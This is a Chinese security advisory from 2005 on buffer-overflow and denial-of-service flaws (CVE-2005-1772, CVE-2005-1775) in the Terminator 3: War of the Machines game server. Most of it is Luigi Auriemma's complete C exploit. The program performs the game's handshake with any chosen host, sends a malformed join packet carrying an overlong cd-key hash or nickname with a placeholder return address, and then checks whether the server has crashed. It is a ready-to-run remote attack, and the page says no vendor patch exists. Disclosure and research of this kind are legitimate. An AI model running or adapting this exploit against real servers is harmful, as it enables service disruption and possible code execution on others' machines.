安全研究
安全漏洞
Terminator 3: War of the Machines缓冲区溢出和拒绝服务漏洞
发布日期:2005-05-27
更新日期:2005-05-27
受影响系统:
Clevers Terminator 3: War of the Machines <= 1.16描述:
BUGTRAQ ID: 13779
CVE(CAN) ID: CVE-2005-1772,CVE-2005-1775
Terminator 3: War of the Machines是Clevers(http://www.clevers.com) 根据同名电影开发的第一人称扮演游戏。
Terminator 3: War of the Machines中存在多个漏洞,攻击者可能利用漏洞在主机上执行任意指令或造成拒绝服务攻击。
A] cd-key哈希缓冲区溢出
------------------------------
包含有客户端cd-key哈希的文本字段可能导致服务器缓冲区溢出。请注意这个漏洞不是Gamespy cd-key SDK缓冲区溢出。
--------------------------------
B] 超长昵称访问破坏
--------------------------------
攻击者可以使用超长的昵称访问任意部分内存,导致服务器崩溃。
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111713248227479&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "rwbits.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 60005
#define TIMEOUT 1
#define TWAIT 3
#define NICKSZ 16
#define JOIN1 "try"
#define ANSW "try_this " /* challenge and "server_token" */
#define JOIN2 "connect " \
"%d " /* version */ \
"%d " /* challenge */ \
"\"%s\" " /* Gamespy cd-key */ \
"%s" /* nickname */
#define EIP "\xde\xc0\xad\xde"
#define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
EIP
#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, sizeof(peer)) \
< 0) std_err();
#define RECV(x,y) len = recvfrom(sd, x, y, 0, NULL, NULL); \
if(len < 0) std_err();
int read_bitstr(u_char *in, int inlen, u_char *out, int bits);
int write_bitstr(u_char *in, u_char *out, int bits);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
u_int create_rand_string(u_char *data, int len, u_int num);
int show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
u_int seed;
int sd,
tmp,
len,
gamever,
chall,
attack;
u_short port = PORT;
u_char buff[BUFFSZ + 1],
str[BUFFSZ + 1],
nick[NICKSZ + 1],
info[] =
"\xfe\xfd" "\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
*token,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Terminator 3 War of the Machines <= 1.16 buffer-overflow and crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%d)]\n"
"\n"
"Attack:\n"
" 1 = cd-key hash buffer-overflow, return address 0x%08lx\n"
" 2 = big nickname access violation\n"
"\n", argv[0], port, *(u_long *)EIP);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
fputs("- request informations\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long *)(info + 3) = ~time(NULL);
len = send_recv(sd, info, sizeof(info) - 1, buff, BUFFSZ);
close(sd);
gamever = show_info(buff, len);
printf("\n- set game version %d\n", gamever);
seed = time(NULL);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*buff = 0x00;
tmp = write_bitstr(JOIN1, buff, 2);
len = tmp >> 3;
if(tmp & 7) len++;
printf("- send \"%s\" packet\n", JOIN1);
len = send_recv(sd, buff, len, buff, BUFFSZ);
read_bitstr(buff, len, str, 2);
if(strncmp(str, ANSW, sizeof(ANSW) - 1)) {
printf("\nError: wrong reply from the server:\n"
"\n %s\n\n", str);
exit(1);
}
p = str + (sizeof(ANSW) - 1);
chall = atoi(p);
token = strchr(p, '\"');
if(!token) {
printf("\nError: no server token in the server reply:\n"
"\n %s\n\n", str);
exit(1);
}
p = strchr(++token, '\"');
if(p) *p = 0x00;
if(attack == 1) { // buffer overflow
create_rand_string(nick, NICKSZ, seed);
len = sprintf(
str,
JOIN2,
gamever,
chall,
BOF,
nick);
} else { // access violation
len = sprintf(
str,
JOIN2,
gamever,
chall,
"000000000000000000000000000000000000000000000000000000000000000000000000",
BOF);
}
*buff = 0x00;
tmp = write_bitstr(str, buff, 2);
len = tmp >> 3;
if(tmp & 7) len++;
fputs("- send malformed join packet\n", stdout);
len = send_recv(sd, buff, len, buff, BUFFSZ);
close(sd);
read_bitstr(buff, len, str, 2);
if(strcmp(str, "connected")) {
printf("\nError: player not accepted for the following error:\n"
"\n %s\n\n", str);
exit(1);
}
close(sd);
sleep(ONESEC);
fputs("- check server:\n", stdout);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
*(u_long *)(info + 3) = ~time(NULL);
SEND(info, sizeof(info) - 1);
if(timeout(sd) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int read_bitstr(u_char *in, int inlen, u_char *out, int bits) {
while((*out = read_bits(8, in, bits)) && inlen--) {
bits += 8;
out++;
}
return(bits);
}
int write_bitstr(u_char *in, u_char *out, int bits) {
while(*in) {
bits = write_bits(*in, 8, out, bits);
in++;
}
bits = write_bits(0x00, 8, out, bits); // NULL
return(bits);
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
int i,
len;
for(i = 3; i; i--) {
SEND(in, insz);
if(!timeout(sd)) break;
}
if(!i) {
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}
RECV(out, outsz);
return(len);
}
u_int create_rand_string(u_char *data, int len, u_int num) {
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
len = num % len;
if(len < 3) len = 3;
while(len--) {
num = (num * 0x343FD) + 0x269EC3;
*data++ = table[num % (sizeof(table) - 1)];
}
*data = 0x00;
return(num);
}
int show_info(u_char *data, int len) {
int nt = 0,
ver = -1,
d;
u_char *limit = data + len;
fputc('\n', stdout);
data += 5;
while(data < limit) {
d = strlen(data);
if(nt & 1) {
if(!ver) ver = atoi(data);
printf("%s\n", data);
} else {
if(!d) break;
if(!strcmp(data, "gamever")) ver = 0;
printf("%30s: ", data);
}
data += d + 1;
nt++;
}
return(ver);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
建议:
厂商补丁:
Clevers
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.clevers.com
浏览次数:2835
严重程度:0(网友投票)
绿盟科技给您安全的保障